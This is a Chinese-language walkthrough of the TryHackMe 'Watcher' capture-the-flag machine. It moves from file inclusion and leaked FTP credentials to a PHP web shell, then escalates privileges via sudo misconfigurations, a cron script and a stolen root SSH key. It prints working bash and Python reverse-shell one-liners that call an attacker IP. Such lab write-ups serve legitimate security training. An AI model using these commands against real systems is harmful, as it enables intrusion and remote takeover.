THM-Watcher
靶机ip:10.10.76.81
信息收集
nmap扫描
1 | nmap --min-rate 10000 -A -sV -sC -p- 10.10.76.81 |
发现开放21,22,80端口
21端口
尝试一下匿名登录
匿名登陆失败
80端口
随便点击后发现在url处疑似存在文件包含,尝试利用一下
/post.php?post=/etc/passwd
此处确实存在文件包含
再扫描一下目录
1 | gobuster dir -u http://10.10.76.81/ -w /usr/share/wordlists/dirb/common.txt |
robots.txt
找到俩文件
其中一个是flag1
另一个无法访问,但是可以用之前发现的文件包含读取文件
/post.php?post=secret_file_do_not_read.txt
发现另一重要目录/home/ftpuser/ftp/files
,同时最后面像是一组用户名密码ftpuser:givemefiles777
,再次尝试登录ftp
1 | ftp ftpuser@10.10.76.81 |
登陆成功,并找到flag2
同时files目录就是之前通过任意文件读取找到的目录
获得初始访问权限
我们可以尝试一下,通过ftp上传的文件,我们知道其绝对路径,就可以通过文件读取进行利用
先简单尝试一下,准备个php文件
通过ftp上传文件
此时文件的绝对路径就是/home/ftpuser/ftp/files/info.php
再通过浏览器读取该文件
成功读取,同时php代码也可以被解析,可以利用这个进行反弹shell
准备好我们的webshell
设置好ip和port
将文件通过ftp上传到服务器上
攻击机设置好监听
浏览器读取并访问我们的shell文件
/post.php?post=/home/ftpuser/ftp/files/php-reverse-shell.php
拿到shell
主机用户信息收集
我们已经获得了www-data
权限,能够简单的访问服务器资源,我们需要更进一步的控制这台服务器,就需要继续提升我们的权限
在/home/mat
下,找到flag5,但是权限不够无法访问,但是可以查看note.txt
发现可以使用脚本执行,查看一下
先切换到交互式shell
1 | python3 -c 'import pty;pty.spawn("/bin/bash")' |
发现该文件只提供了三个可以执行的命令,因为文件所属权不属于当前用户,所以无法更改,看下其他用户目录
还有个note.txt
,查看一下,flag4
还是没权限查看,同时还注意到有个jobs
目录
看样子是想提醒我们查看jobs
目录
这是一个脚本文件,里面有cat命令
继续查看最后一个用户
这里只有flag6,仍然无权限读取
在web目录下找到flag3
提升至user权限
提升至toby权限
先检查下sudo -l
发现可以使用toby
执行任何命令sudo
无需密码
获取toby
用户权限,并拿到flag4
横移至mat权限
结合之前的信息可知toby的jobs
目录中cow.sh
是mat的,而我们可以修改该文件,所以我们可以通过写反弹shell获取mat的权限
攻击机先设置监听
在靶机中
1 | echo "bash -i >& /dev/tcp/10.14.90.122/8889 0>&1" >> cow.sh |
过一会等定时任务触发,就拿到了mat的shell,并在当前目录找到flag5
横移至will权限
现在已经拿到了mat的权限,查看一下sudo -l
发现我们可以不用密码执行will
权限的python3
命令
结合之前分析的结果可知,我们有权修改cmd.py
,无权更改will_script.py
,但是will_script.py
会调用cmd.py
,所以我们就可以通过修改cmd.py
的内容,在其中写上反弹shell的python代码,使用will
权限的python3
执行will_script.py
,我们就获得了will
的shell
先在kali上设置监听
在靶机上写入python代码
1 | echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.90.122",8899));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> cmd.py |
执行
获得will的shell
找到flag6
提升至root权限
使用will继续查找敏感文件
在/opt/backups
下找到了经过base64
编码的key
将其保存到文件base64_key
解码查看
发现是一组私钥,猜测是root的,将私钥保存到文件id_rsa
,并赋予600
权限便于ssh连接
1 | ssh root@10.10.76.81 -i id_rsa |
获得root权限
在当前目录找到最后一个flag7